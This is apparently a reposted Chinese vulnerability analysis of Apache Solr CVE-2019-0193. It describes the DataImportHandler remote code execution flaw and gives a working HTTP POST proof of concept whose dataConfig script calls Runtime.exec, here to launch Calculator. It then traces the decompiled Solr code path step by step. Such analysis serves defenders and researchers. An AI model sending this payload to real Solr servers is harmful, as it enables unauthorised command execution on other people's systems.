漏洞分析 - Apache Solr远程代码执行漏洞(CVE-2019-0193)

2019-08-14 约 1524 字 预计阅读 8 分钟

声明:本文 【漏洞分析 - Apache Solr远程代码执行漏洞(CVE-2019-0193)】 由作者 arr0w1 于 2019-08-14 07:35:00 首发 先知社区 曾经 浏览数 42 次

感谢 arr0w1 的辛苦付出!

简介

Apache Solr一个基于Lucene的企业级全文搜索引擎。

用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。

漏洞信息

8月1日,Apache Solr官方发布了CVE-2019-0193漏洞预警。

此漏洞位于Apache Solr的可选模块DataImportHandler模块中。

模块介绍:
DataImportHandler模块
虽然是一个可选模块,但是它常常被使用。
该模块的作用:从数据源(数据库或RSS、文件等其他源)中提取数据。

  • 该模块的配置信息 "DIH配置"(DIH configuration) 可使用以下的方式指定:
    • Server端 - 通过Server的“配置文件“来指定配置信息"DIH配置"
    • web请求 - 使用web请求中的dataConfig参数(该参数用户可控)来指定配置信息"DIH配置"(整个DIH配置可以来自请求的“dataConfig”参数)

漏洞描述:使用Apache Solr的DataImportHandler模块,支持使用web请求来指定配置信息"DIH配置" ("DIH配置"中可以包含脚本内容,本来是为了对数据进行转换),攻击者可通过构造HTTP请求中dataConfig参数的值,使配置信息包含脚本内容,Web后端处理该请求时,会使用“脚本转换器“(ScriptTransformer)对“脚本“进行解析,而Web后端未对脚本内容做任何限制(可以导入并使用任意的Java类,如执行命令的类),导致可以执行任意代码。

又因为Solr的web管理界面 Solr Admin UI,默认无任何认证,并且该模块的DIH admin界面的debug模式(本来是为了方便对"DIH配置"进行调试或开发),可以直接以web形式接受dataConfig参数。方便利用。

影响范围:
Apache Solr < 8.2.0 默认开启DataImportHandler模块,存在该漏洞。
因为从Solr>=8.2.0版开始,默认不可使用dataConfig参数,想使用此参数需要将Java System属性“enable.dih.dataConfigParam”设置为true。所以当Solr>=8.2.0但是将Java System属性“enable.dih.dataConfigParam”设置为true,也是存在漏洞。

修复方案:
升级版本,Solr>=8.2.0默认情况下不存在该漏洞。

参考自 https://issues.apache.org/jira/browse/SOLR-13669

基础概念

基础概念 - DIH概念和术语

  • 数据导入处理程序(the Data Import Handler,DIH)常用术语
    • Datasource - 数据源定义了感兴趣的数据(即将导入solr的数据)的位置
      • 对于数据库,它是一个DSN(Data Source Name)
      • 对于HTTP数据源,它是base URL
    • Entity - 实体
      • Conceptually, an entity is processed to generate a set of documents, containing multiple fields, which (after optionally being transformed in various ways) are sent to Solr for indexing. For a RDBMS data source, an entity is a view or table, which would be processed by one or more SQL statements to generate a set of rows (documents) with one or more columns (fields).
      • 从概念上讲,“实体“被处理是为了生成一组文档(a set of documents),包含多个字段fields),这些字段(可以用各种方式转换之后)发送到Solr进行索引。对于RDBMS(关系型数据库)数据源,实体是一个视图(view)或表(table),它们将被一个或多个SQL语句处理,从而生成一组行(文档),这些行(文档),具有一个或多个列(字段)。
    • Processor - 实体处理器
      • An entity processor does the work of extracting content from a data source, transforming it, and adding it to the index. Custom entity processors can be written to extend or replace the ones supplied.
      • 实体处理器从"数据源"中提取内容,转换数据并将其添加到索引中。可以编写"自定义实体处理器"(Custom entity processors)来扩展或替换已提供的处理器。
    • Transformer - 转换器
      • Each set of fields fetched by the entity may optionally be transformed. This process can modify the fields, create new fields, or generate multiple rows/documents form a single row.
      • 实体获取的每一组字段,都可以有选择地被转换。此过程可以修改字段(fields)、创建新字段、或从单单一行(a single row)生成多个rows/documents。
      • There are several built-in transformers in the DIH, which perform functions such as modifying dates and stripping HTML. It is possible to write custom transformers using the publicly available interface.
      • DIH中有几个内置转换器,它们执行诸如修改日期(modifying dates)和剥离HTML(stripping HTML)等函数。可以使用"public的接口"编写自定义转换器。

基础概念 - dataconfig需要符合的语法

solr支持从Dataimport导入自定义数据,dataconfig需要满足一定语法,参考
https://lucene.apache.org/solr/guide/6_6/uploading-structured-data-store-data-with-the-data-import-handler.html
https://cwiki.apache.org/confluence/display/solr/DataImportHandler

其中ScriptTransformer可以编写自定义脚本(scripts),支持Javascript、JRuby、Jython、Groovy、BeanShell

ScriptTransformer容许用脚本语言转换,函数应当以“行“(数据类型为Map<String,Object>)为参数,可以修改字段。

“脚本内容“写在数据仓库配置文件中的<script>脚本内容</script>之内

“转换器“属性值 transformer = script:函数名

如下 entry元素中的“转换器“属性值transformer="script:f2c"

使用示例:

<dataconfig>
  <script><![CDATA[
    function f2c(row) {
      var tempf, tempc;
      tempf = row.get('temp_f');
      if (tempf != null) {
        tempc = (tempf - 32.0)*5.0/9.0;
        row.put('temp_c', temp_c);
      }
      return row;
    }
    ]]>
  </script>
  <document>

    <entity name="e1" pk="id" transformer="script:f2c" query="select * from X">
    </entity>
  </document>
</dataConfig>

基础概念 - Nashorn引擎

  • 在Solr的Java环境中使用了Nashorn引擎,它的作用
    • 1.实现Java环境解析Javascript脚本
    • 2.在Nashorn引擎的支持下,JavaScript脚本可以使用Java中的东西。

如下,JavaScript脚本中可以使用Java.typeAPI方法,实现在JavaScript中引用Java中的类 (像Java中的import一样),并在JavaScript脚本中使用该Java类中的Java方法

var MyJavaClass = Java.type(`my.package.MyJavaClass`);

var result = MyJavaClass.sayHello('Nashorn');
print(result);

环境搭建

macOS环境

使用Solr 8.1.1二进制版,下载地址 https://archive.apache.org/dist/lucene/solr/8.1.1/solr-8.1.1.zip

使用Solr的example-DIH 路径在example-DIH/solr/ 它自带了一些可用的索引库: atom, db, mail, solr, tika

启动Solr开始动态调试。

PoC

这里我使用了Solr example程序自带的tika这个索引库(Solr中叫core),并在http://solr.com:8983/solr/#/tika/dataimport/dataimport 填写了dataConfig信息,勾选Debug,点击Execute

抓到的请求中dataConfig本来是URL编码的,其实直接原始数据就可以,PoC如下:

POST /solr/tika/dataimport HTTP/1.1
Host: solr.com:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://solr.com:8983/solr/
Content-type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 585
Connection: close

command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=
<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>

漏洞分析

在Web浏览器中启动Solr的web管理界面 Solr Admin UI,默认无任何认证,直接访问 http://127.0.0.1:8983/solr/
看到Solr正在运行

路由分析:Web后端收到URL为 /solr/xxx_core_name/dataimport 的 HTTP请求时,会将HTTP请求实参req传入DataImportHandler类的handleRequestBody方法。

文件位置:/solr-8.1.1/dist/solr-dataimporthandler-8.1.1.jar!/org/apache/solr/handler/dataimport/DataImportHandler.class
关键的类:org.apache.solr.handler.dataimport.DataImportHandler

按command+F12查看 DataImportHandler类的方法 和 成员变量

图a

关键方法:很容易发现,DataImportHandler类的handleRequestBody方法是用于接受HTTP请求的。
在该方法下断点,以便跟踪输入的数据是如何被处理的。(函数体过长 我折叠了部分逻辑)

图0

执行逻辑:从PoC中可见,HTTP请求中的command参数的值为full-import,根据handleRequestBody方法体中的if-else分支判断逻辑可知,会调用maybeReloadConfiguration方法(功能是重新加载配置)。

关键方法:maybeReloadConfiguration方法
关键语句:this.importer.maybeReloadConfiguration(requestParams, defaultParams);

图1

跟进(Step into)关键方法 maybeReloadConfiguration 方法

图2

关键语句:String dataConfigText = params.getDataConfig();//获取HTTP请求中POST body中的参数dataConfig的值
执行逻辑:maybeReloadConfiguration方法体中,会获取HTTP请求中POST body中的参数dataConfig的值,即“DataConfig配置信息“,如果该值不为空则该值传递给loadDataConfig方法(功能是加载DataConfig配置信息)

本次调试过程中的"DataConfig配置信息":

<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>

跟进(Step into)关键方法 loadDataConfig方法

图3

执行逻辑:loadDataConfig方法的具体实现中,调用了readFromXml方法,从xml数据中读取信息。
关键语句:dihcfg = this.readFromXml(document);

跟进(Step into)关键方法 readFromXml方法

readFromXml方法体

关键语句:return new DIHConfiguration((Element)documentTags.get(0), this, functions, script, dataSources, pw);

执行逻辑:readFromXml方法的具体实现中,根据各种不同名称的标签(如document,script,function,dataSource等),得到了配置数据中的元素。如,配置信息中的自定义脚本在此处被赋值给名为scriptScript类型的变量中。使用“迭代器“递归解析完所有标签后,new一个DIHConfiguration对象(传入的6个实参中有个是script变量),这个DIHConfiguration对象作为readFromXml方法的返回值,被return。

该DIHConfiguration对象,实际赋值给了(调用readFromXml方法的) loadDataConfig方法体中的名为dihcfg的变量。(见图3)

回溯:现在的情况是,之前在loadDataConfig方法体中调用了的readFromXml方法已经执行结束并返回了一个DIHConfiguration对象,赋值给了loadDataConfig方法体中的那个名为dihcfg的变量,loadDataConfig方法成功获取到配置信息。

回溯:现在的情况是,之前的maybeReloadConfiguration方法体中调用了的loadDataConfig方法执行结束,DataImporter类的maybeReloadConfiguration方法也得到它需要的boolean返回值,true(见图2)

DataImporter类 org.apache.solr.handler.dataimport.DataImporter

DataImporter类 包含的方法和变量,如图,重点关注的方法是:

maybeReloadConfiguration方法 - boolean maybeReloadConfiguration(RequestInfo params, NamedList<?> defaultParams)
doFullImport方法 - public void doFullImport(DIHWriter writer, RequestInfo requestParams) 
runCmd方法

DataImporter类 包含的方法和变量

回溯:现在的情况可参考图0,回到了DataImportHandler类的handleRequestBody方法体中,在该方法体中调用了的(DataImporter类中的)maybeReloadConfiguration方法已经执行结束,继续向下执行到关键语句this.importer.runCmd(requestParams, sw);调用了(DataImporter类中的)runCmd方法

跟进(Step into)关键方法 :(DataImporter类中的)runCmd方法

图4 - runCmd方法的方法体

跟进DataImporter类中的doFullImport方法体

doFullImport方法体

功能如下
首先创建一个DocBuilder对象。
DocBuilder对象的主要功能是从给定配置中创建Solr文档 该对象具有名为configDIHConfiguration类型的成员变量 见代码 private DIHConfiguration config;

然后调用该DocBuilder对象的execute()方法,作用是使用“迭代器“ this.config.getEntities().iterator();
,解析"DIH配置" 即名为configDIHConfiguration类型的成员变量,根据“属性名称“(如preImportDeleteQuery、postImportDeleteQuery、)获得Entity的所有属性。

最终得到是一个EntityProcessorWrapper对象。

简单介绍下DocBuilder类。
DocBuilder类 org.apache.solr.handler.dataimport.DocBuilder

DocBuilder类 包含的方法,如下图,重点关注:

execute()方法  -   public void execute()
doFullDump()方法  -   private void doFullDump()

DocBuilder类 包含的方法

简单介绍下EntityProcessorWrapper类。
EntityProcessorWrapper类 org.apache.solr.handler.dataimport.EntityProcessorWrapper

EntityProcessorWrapper是一个比较关键的类,继承自EntityProcessor,在整个解析过程中起到重要的作用。

EntityProcessorWrapper类的更多信息参考
https://lucene.apache.org/solr/8_1_1/solr-dataimporthandler/org/apache/solr/handler/dataimport/EntityProcessorWrapper.html

EntityProcessorWrapper类 包含的方法,如下图,重点的是:
loadTransformers()方法 - 作用:加载转换器

EntityProcessorWrapper类 包含的方法

在解析完config数据后,solr会把最后“更新时间“记录到配置文件中,这个时间是为了下次进行增量更新的时候用的。
接着通过this.dataImporter.getStatus()判断当前数据导入是“增量导入”即doDelta()方法,还是“全部导入”即doFullDump()方法。
本次调试中的操作是全部导入”,因此调用doFullDump()方法

execute方法中的doFullDump()方法

跟进DocBuilder类中的doFullDump方法体:

private void doFullDump() {
        this.addStatusMessage("Full Dump Started");
        this.buildDocument(this.getVariableResolver(), (DocBuilder.DocWrapper)null, (Map)null, this.currentEntityProcessorWrapper, true, (ContextImpl)null);
    }

可见,在doFullDump()方法体中,调用的是DocBuilder类中的buildDocument()方法。
作用是为发送的配置数据的每一个Processor做解析(调用getVariableResolver()方法),当发送的entity中含有Transformers时,会进行相应的转换操作。

例如 DateFormatTransformer 转换成日期格式
例如 RegexTransformer 根据正则表达式转换
例如 ScriptTransformer 根据用户自定义的脚本进行数据转换(漏洞关键:脚本内容完全用户可控!!)
等等

具体如何执行JavaScript脚本?继续跟进,DocBuilder类中的buildDocument()方法。

private void buildDocument(VariableResolver vr, DocBuilder.DocWrapper doc, Map<String, Object> pk, EntityProcessorWrapper epw, boolean isRoot, ContextImpl parentCtx, List<EntityProcessorWrapper> entitiesToDestroy) {
        ContextImpl ctx = new ContextImpl(epw, vr, (DataSource)null, pk == null ? "FULL_DUMP" : "DELTA_DUMP", this.session, parentCtx, this);
        epw.init(ctx);
        if (!epw.isInitialized()) {
            entitiesToDestroy.add(epw);
            epw.setInitialized(true);
        }

        if (this.reqParams.getStart() > 0) {
            this.getDebugLogger().log(DIHLogLevels.DISABLE_LOGGING, (String)null, (Object)null);
        }

        if (this.verboseDebug) {
            this.getDebugLogger().log(DIHLogLevels.START_ENTITY, epw.getEntity().getName(), (Object)null);
        }

        int seenDocCount = 0;

        try {
            while(!this.stop.get()) {
                if (this.importStatistics.docCount.get() > (long)this.reqParams.getStart() + this.reqParams.getRows()) {
                    return;
                }

                try {
                    ++seenDocCount;
                    if (seenDocCount > this.reqParams.getStart()) {
                        this.getDebugLogger().log(DIHLogLevels.ENABLE_LOGGING, (String)null, (Object)null);
                    }

                    if (this.verboseDebug && epw.getEntity().isDocRoot()) {
                        this.getDebugLogger().log(DIHLogLevels.START_DOC, epw.getEntity().getName(), (Object)null);
                    }

                    if (doc == null && epw.getEntity().isDocRoot()) {
                        doc = new DocBuilder.DocWrapper();
                        ctx.setDoc(doc);

                        for(Entity e = epw.getEntity(); e.getParentEntity() != null; e = e.getParentEntity()) {
                            this.addFields(e.getParentEntity(), doc, (Map)vr.resolve(e.getParentEntity().getName()), vr);
                        }
                    }

                    Map<String, Object> arow = epw.nextRow();
                    if (arow == null) {
                        return;
                    }

                    if (epw.getEntity().isDocRoot()) {
                        if (seenDocCount <= this.reqParams.getStart()) {
                            continue;
                        }

                        if ((long)seenDocCount > (long)this.reqParams.getStart() + this.reqParams.getRows()) {
                            log.info("Indexing stopped at docCount = " + this.importStatistics.docCount);
                            return;
                        }
                    }

                    if (this.verboseDebug) {
                        this.getDebugLogger().log(DIHLogLevels.ENTITY_OUT, epw.getEntity().getName(), arow);
                    }

                    this.importStatistics.rowsCount.incrementAndGet();
                    DocBuilder.DocWrapper childDoc = null;
                    if (doc != null) {
                        if (epw.getEntity().isChild()) {
                            childDoc = new DocBuilder.DocWrapper();
                            this.handleSpecialCommands(arow, childDoc);
                            this.addFields(epw.getEntity(), childDoc, arow, vr);
                            doc.addChildDocument(childDoc);
                        } else {
                            this.handleSpecialCommands(arow, doc);
                            vr.addNamespace(epw.getEntity().getName(), arow);
                            this.addFields(epw.getEntity(), doc, arow, vr);
                            vr.removeNamespace(epw.getEntity().getName());
                        }
                    }

                    if (epw.getEntity().getChildren() != null) {
                        vr.addNamespace(epw.getEntity().getName(), arow);
                        Iterator var12 = epw.getChildren().iterator();

                        while(var12.hasNext()) {
                            EntityProcessorWrapper child = (EntityProcessorWrapper)var12.next();
                            if (childDoc != null) {
                                this.buildDocument(vr, childDoc, child.getEntity().isDocRoot() ? pk : null, child, false, ctx, entitiesToDestroy);
                            } else {
                                this.buildDocument(vr, doc, child.getEntity().isDocRoot() ? pk : null, child, false, ctx, entitiesToDestroy);
                            }
                        }

                        vr.removeNamespace(epw.getEntity().getName());
                    }

                    if (epw.getEntity().isDocRoot()) {
                        if (this.stop.get()) {
                            return;
                        }

                        if (!doc.isEmpty()) {
                            boolean result = this.writer.upload(doc);
                            if (this.reqParams.isDebug()) {
                                this.reqParams.getDebugInfo().debugDocuments.add(doc);
                            }

                            doc = null;
                            if (result) {
                                this.importStatistics.docCount.incrementAndGet();
                            } else {
                                this.importStatistics.failedDocCount.incrementAndGet();
                            }
                        }
                    }
                } catch (DataImportHandlerException var24) {
                    if (this.verboseDebug) {
                        this.getDebugLogger().log(DIHLogLevels.ENTITY_EXCEPTION, epw.getEntity().getName(), var24);
                    }

                    if (var24.getErrCode() != 301) {
                        if (!isRoot) {
                            throw var24;
                        }

                        if (var24.getErrCode() == 300) {
                            this.importStatistics.skipDocCount.getAndIncrement();
                            doc = null;
                        } else {
                            SolrException.log(log, "Exception while processing: " + epw.getEntity().getName() + " document : " + doc, var24);
                        }

                        if (var24.getErrCode() == 500) {
                            throw var24;
                        }
                    }
                } catch (Exception var25) {
                    if (this.verboseDebug) {
                        this.getDebugLogger().log(DIHLogLevels.ENTITY_EXCEPTION, epw.getEntity().getName(), var25);
                    }

                    throw new DataImportHandlerException(500, var25);
                } finally {
                    if (this.verboseDebug) {
                        this.getDebugLogger().log(DIHLogLevels.ROW_END, epw.getEntity().getName(), (Object)null);
                        if (epw.getEntity().isDocRoot()) {
                            this.getDebugLogger().log(DIHLogLevels.END_DOC, (String)null, (Object)null);
                        }
                    }

                }
            }

        } finally {
            if (this.verboseDebug) {
                this.getDebugLogger().log(DIHLogLevels.END_ENTITY, (String)null, (Object)null);
            }

        }
    }

可见方法体中,有一行语句是Map<String, Object> arow = epw.nextRow();,功能是“读取EntityProcessorWrapper的每一个元素“,该方法返回的是一个Map对象。

对该语句下断点,进入EntityProcessorWrapper类中的nextRow方法:

EntityProcessorWrapper类中的nextRow方法的方法体

可见,EntityProcessorWrapper类中的nextRow方法体中,调用了EntityProcessorWrapper类中的applyTransformer()方法。

继续跟进,EntityProcessorWrapper类中的applyTransformer()方法体:
功能
第1步.调用loadTransformers方法,作用是“加载转换器“
第2步.调用对应的Transformer的transformRow方法

applyTransformer()方法体

applyTransformer()方法体,代码如下

protected Map<String, Object> applyTransformer(Map<String, Object> row) {
        if (row == null) {
            return null;
        } else {
            if (this.transformers == null) {
                this.loadTransformers();
            }

            if (this.transformers == Collections.EMPTY_LIST) {
                return row;
            } else {
                Map<String, Object> transformedRow = row;
                List<Map<String, Object>> rows = null;
                boolean stopTransform = this.checkStopTransform(row);
                VariableResolver resolver = this.context.getVariableResolver();
                Iterator var6 = this.transformers.iterator();

                while(var6.hasNext()) {
                    Transformer t = (Transformer)var6.next();
                    if (stopTransform) {
                        break;
                    }

                    try {
                        if (rows == null) {
                            resolver.addNamespace(this.entityName, transformedRow);
                            Object o = t.transformRow(transformedRow, this.context);
                            if (o == null) {
                                return null;
                            }

                            if (o instanceof Map) {
                                Map oMap = (Map)o;
                                stopTransform = this.checkStopTransform(oMap);
                                transformedRow = (Map)o;
                            } else if (o instanceof List) {
                                rows = (List)o;
                            } else {
                                log.error("Transformer must return Map<String, Object> or a List<Map<String, Object>>");
                            }
                        } else {
                            List<Map<String, Object>> tmpRows = new ArrayList();
                            Iterator var9 = ((List)rows).iterator();

                            while(var9.hasNext()) {
                                Map<String, Object> map = (Map)var9.next();
                                resolver.addNamespace(this.entityName, map);
                                Object o = t.transformRow(map, this.context);
                                if (o != null) {
                                    if (o instanceof Map) {
                                        Map oMap = (Map)o;
                                        stopTransform = this.checkStopTransform(oMap);
                                        tmpRows.add((Map)o);
                                    } else if (o instanceof List) {
                                        tmpRows.addAll((List)o);
                                    } else {
                                        log.error("Transformer must return Map<String, Object> or a List<Map<String, Object>>");
                                    }
                                }
                            }

                            rows = tmpRows;
                        }
                    } catch (Exception var13) {
                        log.warn("transformer threw error", var13);
                        if ("abort".equals(this.onError)) {
                            DataImportHandlerException.wrapAndThrow(500, var13);
                        } else if ("skip".equals(this.onError)) {
                            DataImportHandlerException.wrapAndThrow(300, var13);
                        }
                    }
                }

                if (rows == null) {
                    return transformedRow;
                } else {
                    this.rowcache = (List)rows;
                    return this.getFromRowCache();
                }
            }
        }
    }

第1步.
调用loadTransformers()方法。
查看loadTransformers()方法体,可见它的作用是“加载转换器“:
即如果transscript:开头,则new一个ScriptTransformer对象。

loadTransformers()方法的方法体

loadTransformers()方法体,代码如下

void loadTransformers() {
        String transClasses = this.context.getEntityAttribute("transformer");
        if (transClasses == null) {
            this.transformers = Collections.EMPTY_LIST;
        } else {
            String[] transArr = transClasses.split(",");
            this.transformers = new ArrayList<Transformer>() {
                public boolean add(Transformer transformer) {
                    if (EntityProcessorWrapper.this.docBuilder != null && EntityProcessorWrapper.this.docBuilder.verboseDebug) {
                        transformer = EntityProcessorWrapper.this.docBuilder.getDebugLogger().wrapTransformer(transformer);
                    }

                    return super.add(transformer);
                }
            };
            String[] var3 = transArr;
            int var4 = transArr.length;

            for(int var5 = 0; var5 < var4; ++var5) {
                String aTransArr = var3[var5];
                String trans = aTransArr.trim();
                if (trans.startsWith("script:")) {
                    this.checkIfTrusted(trans);
                    String functionName = trans.substring("script:".length());
                    ScriptTransformer scriptTransformer = new ScriptTransformer();
                    scriptTransformer.setFunctionName(functionName);
                    this.transformers.add(scriptTransformer);
                } else {
                    try {
                        Class clazz = DocBuilder.loadClass(trans, this.context.getSolrCore());
                        if (Transformer.class.isAssignableFrom(clazz)) {
                            this.transformers.add((Transformer)clazz.newInstance());
                        } else {
                            Method meth = clazz.getMethod("transformRow", Map.class);
                            this.transformers.add(new EntityProcessorWrapper.ReflectionTransformer(meth, clazz, trans));
                        }
                    } catch (NoSuchMethodException var10) {
                        String msg = "Transformer :" + trans + "does not implement Transformer interface or does not have a transformRow(Map<String.Object> m)method";
                        log.error(msg);
                        DataImportHandlerException.wrapAndThrow(500, var10, msg);
                    } catch (Exception var11) {
                        log.error("Unable to load Transformer: " + aTransArr, var11);
                        DataImportHandlerException.wrapAndThrow(500, var11, "Unable to load Transformer: " + trans);
                    }
                }
            }

        }
    }

第2步.调用对应的Transformer的transformRow方法

transformRow方法体的执行步骤:
第(1)步.初始化脚本引擎
第(2)步.使用invoke执行脚本

transformRow方法的方法体

transformRow方法体,代码如下

public Object transformRow(Map<String, Object> row, Context context) {
        try {
            if (this.engine == null) {
                this.initEngine(context);
            }

            return this.engine == null ? row : this.engine.invokeFunction(this.functionName, row, context);
        } catch (DataImportHandlerException var4) {
            throw var4;
        } catch (Exception var5) {
            DataImportHandlerException.wrapAndThrow(500, var5, "Error invoking script for entity " + context.getEntityAttribute("name"));
            return null;
        }
    }

第(1)步:
transformRow方法体中的语句this.initEngine(context);调用了initEngine方法(该方法只做初始化,并未执行JavaScript脚本)

调试过程中,可查看到initEngine方法中的名为scriptText的String类型的变量,值为:

function poc(){ java.lang.Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
          }

第(2)步:
调用Nashorn脚本引擎的invokeFunction方法,在Java环境中执行JavaScript脚本:

transformRow方法体中的语句this.engine.invokeFunction(this.functionName, row, context);

附:Nashorn脚本引擎的invokeFunction方法定义:

public Object invokeFunction(String name, Object... args) throws ScriptException, NoSuchMethodException {
        return this.invokeImpl((Object)null, name, args);
    }

总结

使用Apache Solr的DataImportHandler模块,支持使用web请求来指定配置信息"DIH配置" ,攻击者可在HTTP请求中指定dataConfig参数的值,使配置信息中包含“脚本“,Web后端处理该请求时,会使用“脚本转换器“(ScriptTransformer)对“脚本“进行解析,而Web后端未对脚本内容做任何限制(可以导入并使用任意的Java类,如执行命令的类),导致可以执行任意代码。

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now